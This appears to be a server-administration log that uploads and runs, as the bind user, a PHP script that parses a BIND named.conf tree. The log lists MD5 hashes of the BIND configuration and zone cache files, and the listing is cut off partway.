MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-11 20:46:53: Establishing a connection
2025-10-11 20:46:58: Establishing a connection
2025-10-11 20:46:58: 

PUT: /tmp/pkp754065

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-11 20:46:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp754065; rm /tmp/pkp754065'

2025-10-11 20:46:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
